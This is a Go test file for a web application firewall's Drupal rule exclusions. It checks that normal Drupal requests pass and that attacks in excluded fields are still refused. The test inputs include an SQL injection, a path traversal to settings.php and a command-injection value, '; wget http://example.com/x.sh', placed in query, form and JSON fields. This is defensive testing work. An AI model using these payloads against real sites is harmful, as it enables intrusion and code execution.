package coreruleset_test import ( "net/http" "net/url" "slices" "testing" ) // drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. const drupalThreshold = 5 // drupalAddArticle is Drupal's form for a new article. const drupalAddArticle = "/node/add/article" // drupalSignIn is Drupal's sign-in page. const drupalSignIn = "/user/login" // drupalJSONSignIn is Drupal's sign-in in its JSON format. const drupalJSONSignIn = "/user/login?_format=json" // drupalTagForm is Drupal's form for a new tag. const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add" // drupalEditAccount is Drupal's form for editing an account. const drupalEditAccount = "/user/2/edit" // drupalName is the field for a person's name, as the start of a form body. const drupalName = "name=" func TestOrdinaryDrupalRequestsPass(t *testing.T) { t.Parallel() defaults, bodies := atDefaults(t), readingBodies(t) for _, recorded := range recordedRequests(t, "drupal-requests.txt") { r := request{recorded.Method, recorded.Target, recorded.Headers} got, _ := inspectBody(t, defaults, r, recorded.Body) if got.Score >= drupalThreshold { t.Errorf("%s %s refused: %+v", r.method, r.target, got) } got, _ = inspectBody(t, bodies, r, recorded.Body) if got.Score >= drupalThreshold { t.Errorf("%s %s %.200q refused while bodies are read: %+v", r.method, r.target, recorded.Body, got) } } } // drupalAttacks are an SQL injection, a path traversal and a script // injection, as a query value. // //nolint:gochecknoglobals // a constant cannot be a list var drupalAttacks = []string{ sqlInjection, "..%2F..%2Fsites%2Fdefault%2Fsettings.php", scriptInjection, } func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) { t.Parallel() crs := atDefaults(t) for _, attack := range drupalAttacks { for _, target := range []string{ "/?id=", "/admin/content?id=", "/admin/content?title=", "/admin/content/media?name=", "/admin/people?user=", "/admin/content/files?filename=", "/admin/content/files?filemime=", "/admin/content/block?info=", "/admin/content/comment?subject=", "/admin/content/comment?author_name=", "/admin/config/search/path?search=", "/admin/content?destination=", "/admin/foo?q=", "/node/1/edit?destination=", "/user/login?destination=", "/search/node?keys=", "/search?keys=", "/entity_reference_autocomplete/user/default/KEY?q=", "/jsonapi/node/article?filter%5Btitle%5D=", "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=", "/user/password?name=", "/media-library?name=", "/views/ajax?name=", "/ckeditor5/basic_html/entity-link-suggestions?q=", "/block-category/autocomplete?q=", "/media/oembed?url=", "/big_pipe/no-js?destination=", "/node/2/revisions/3/revert?destination=", "/node/2/revisions/3/delete?destination=", "/block/add/basic?destination=", "/fr/admin/content?title=", "/fr/search/node?keys=", } { if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold { t.Errorf("%s%s let through: %+v", target, attack, got) } } } } func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) { t.Parallel() crs := readingBodies(t) const reply = "/comment/reply/node/1/comment" for _, attack := range drupalAttacks { for _, sent := range []struct{ target, body string }{ {drupalAddArticle, "title%5B0%5D%5Bvalue%5D=" + attack}, {drupalAddArticle, "body%5B0%5D%5Bvalue%5D=" + attack}, {"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack}, {reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack}, {reply, "subject%5B0%5D%5Bvalue%5D=" + attack}, {reply, drupalName + attack}, {drupalSignIn, "pass=" + attack}, {drupalSignIn, drupalName + attack}, {"/fr/user/login", drupalName + attack}, {"/user/register", drupalName + attack}, {drupalEditAccount, "mail=" + attack}, {drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack}, {drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack}, {"/block/add/basic", "info%5B0%5D%5Bvalue%5D=" + attack}, {"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D=" + attack}, {"/contact/feedback", "subject%5B0%5D%5Bvalue%5D=" + attack}, {"/user/2/contact", "message%5B0%5D%5Bvalue%5D=" + attack}, } { r := request{http.MethodPost, sent.target, []string{formData}} got, _ := inspectBody(t, crs, r, sent.body) if got.Score < drupalThreshold { t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got) } } } for _, attack := range []string{ `1' OR '1'='1`, ``, } { for _, field := range []string{ `"title":"` + attack + `"`, `"body":{"value":"` + attack + `"}`, `"name":"` + attack + `"`, `"revision_log":"` + attack + `"`, `"info":"` + attack + `"`, `"description":{"value":"` + attack + `"}`, } { r := request{ http.MethodPost, "/jsonapi/node/article", []string{"Content-Type: application/vnd.api+json"}, } body := `{"data":{"attributes":{` + field + `}}}` got, _ := inspectBody(t, crs, r, body) if got.Score < drupalThreshold { t.Errorf("POST %s %s let through: %+v", r.target, body, got) } } r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}} body := `{"title":[{"value":"` + attack + `"}]}` got, _ := inspectBody(t, crs, r, body) if got.Score < drupalThreshold { t.Errorf("PATCH %s %s let through: %+v", r.target, body, got) } r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}} body = `{"name":"` + attack + `","pass":"example"}` got, _ = inspectBody(t, crs, r, body) if got.Score < drupalThreshold { t.Errorf("POST %s %s let through: %+v", r.target, body, got) } } } // drupalCommandAttack is a shell command that only 932230 and 932235 refuse // on the fields that skip the other command rules, as a query value. const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh" func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) { t.Parallel() crs := atDefaults(t) for _, target := range []string{ "/admin/content?title=", "/admin/content/media?name=", "/admin/people?user=", "/admin/content/files?filename=", "/admin/content/files?filemime=", "/admin/content/block?info=", "/admin/content/comment?subject=", "/admin/content/comment?author_name=", "/admin/config/search/path?search=", "/admin/views/ajax/autocomplete/tag?q=", "/search/node?keys=", "/entity_reference_autocomplete/user/default/KEY?q=", "/jsonapi/node/article?filter%5Btitle%5D=", "/user/password?name=", "/media-library?name=", "/views/ajax?name=", "/ckeditor5/basic_html/entity-link-suggestions?q=", "/block-category/autocomplete?q=", "/media/oembed?url=", "/fr/admin/content?title=", } { got := inspect(t, crs, get(target+drupalCommandAttack)) if got.Score < drupalThreshold { t.Errorf("%s let through: %+v", target, got) } } } func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) { t.Parallel() crs := readingBodies(t) for _, sent := range []struct{ target, field string }{ {drupalAddArticle, "title%5B0%5D%5Bvalue%5D="}, {drupalAddArticle, "body%5B0%5D%5Bsummary%5D="}, {drupalAddArticle, "revision_log%5B0%5D%5Bvalue%5D="}, {drupalAddArticle, "path%5B0%5D%5Balias%5D="}, {drupalAddArticle, "field_tags%5Btarget_id%5D="}, {drupalAddArticle, "field_image%5B0%5D%5Balt%5D="}, {drupalSignIn, drupalName}, {"/user/register", drupalName}, {drupalEditAccount, "mail="}, {"/comment/reply/node/1/comment", drupalName}, {drupalTagForm, "name%5B0%5D%5Bvalue%5D="}, {"/taxonomy/term/1/edit", "description%5B0%5D%5Bvalue%5D="}, {"/block/add/basic", "info%5B0%5D%5Bvalue%5D="}, {"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D="}, {"/contact", "subject%5B0%5D%5Bvalue%5D="}, {"/contact/feedback", "message%5B0%5D%5Bvalue%5D="}, {"/user/2/contact", "message%5B0%5D%5Bvalue%5D="}, } { r := request{http.MethodPost, sent.target, []string{formData}} got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack) if got.Score < drupalThreshold { t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got) } } for _, field := range []string{ `"title":"; wget http://example.com/x.sh"`, `"subject":"; wget http://example.com/x.sh"`, `"body":{"summary":"; wget http://example.com/x.sh"}`, `"name":"; wget http://example.com/x.sh"`, `"revision_log":"; wget http://example.com/x.sh"`, `"info":"; wget http://example.com/x.sh"`, `"description":{"value":"; wget http://example.com/x.sh"}`, } { r := request{ http.MethodPost, "/jsonapi/node/article", []string{"Content-Type: application/vnd.api+json"}, } body := `{"data":{"attributes":{` + field + `}}}` got, _ := inspectBody(t, crs, r, body) if got.Score < drupalThreshold { t.Errorf("POST %s %s let through: %+v", r.target, body, got) } } r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}} body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}` got, _ := inspectBody(t, crs, r, body) if got.Score < drupalThreshold { t.Errorf("PATCH %s %s let through: %+v", r.target, body, got) } r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}} body = `{"name":"; wget http://example.com/x.sh","pass":"example"}` got, _ = inspectBody(t, crs, r, body) if got.Score < drupalThreshold { t.Errorf("POST %s %s let through: %+v", r.target, body, got) } // An address keeps 932250, which refuses ls -la. r = request{http.MethodPost, drupalEditAccount, []string{formData}} got, _ = inspectBody(t, crs, r, "mail=ls%20-la") if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) { t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got) } } // drupalHardValues are the words that name commands and files, as a form // value. // //nolint:gochecknoglobals // a constant cannot be a list var drupalHardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"} func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) { t.Parallel() crs := readingBodies(t) const subject = "subject%5B0%5D%5Bvalue%5D=" for _, value := range drupalHardValues { for _, sent := range []struct{ target, field string }{ {"/comment/reply/node/1/comment", subject}, {"/comment/reply/node/1/comment/5", subject}, {"/comment/reply/node/1/field_comments", subject}, {"/comment/reply/media/1/comment", subject}, {"/media/add/image", "revision_log_message%5B0%5D%5Bvalue%5D="}, {"/media/1/edit", "revision_log_message%5B0%5D%5Bvalue%5D="}, {drupalSignIn, "pass="}, } { r := request{http.MethodPost, sent.target, []string{formData}} got, _ := inspectBody(t, crs, r, sent.field+value) if got.Score >= drupalThreshold { t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got) } } } for _, value := range drupalHardValues { word, err := url.QueryUnescape(value) if err != nil { t.Fatal(err) } r := request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}} body := `{"name":"example","pass":"` + word + `"}` got, _ := inspectBody(t, crs, r, body) if got.Score >= drupalThreshold { t.Errorf("POST %s %s refused: %+v", r.target, body, got) } } } func TestDrupalExclusionsAreNarrow(t *testing.T) { t.Parallel() crs := atDefaults(t) for _, passes := range []string{ "/admin/content?title=python3", "/search/node?keys=python3", "/entity_reference_autocomplete/user/default/KEY?q=python3", "/jsonapi/node/article?filter%5Btitle%5D=python3", "/node/1/edit?destination=python3", "/fr/admin/content?title=python3", "/pt-br/search/node?keys=python3", "/user/password?name=python3", } { if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold { t.Errorf("%s refused: %+v", passes, got) } } for _, refused := range []string{ "/?title=python3", "/admin/content?other=python3", "/?keys=python3", "/node/1?keys=python3", "/?q=python3", "/?filter%5Btitle%5D=python3", "/python3-notes?destination=python3", "/notes/admin/content?title=python3", "/fr/node/1?keys=python3", "/?name=python3", "/user/login?name=python3", "/media/oembed?url=python3", "/media/oembed?url=ls%20-la", } { if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold { t.Errorf("%s let through: %+v", refused, got) } } } func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) { t.Parallel() crs := readingBodies(t) // The same field name in the query keeps the rules, in the query and // in the body. for _, sent := range []struct{ path, field string }{ {drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"}, {drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"}, {drupalSignIn, "pass=python3"}, {drupalSignIn, "name=python3"}, {drupalEditAccount, "mail=python3"}, {drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"}, } { r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}} got, _ := inspectBody(t, crs, r, sent.field) if got.Score < drupalThreshold { t.Errorf("POST %s let through: %+v", r.target, got) } } }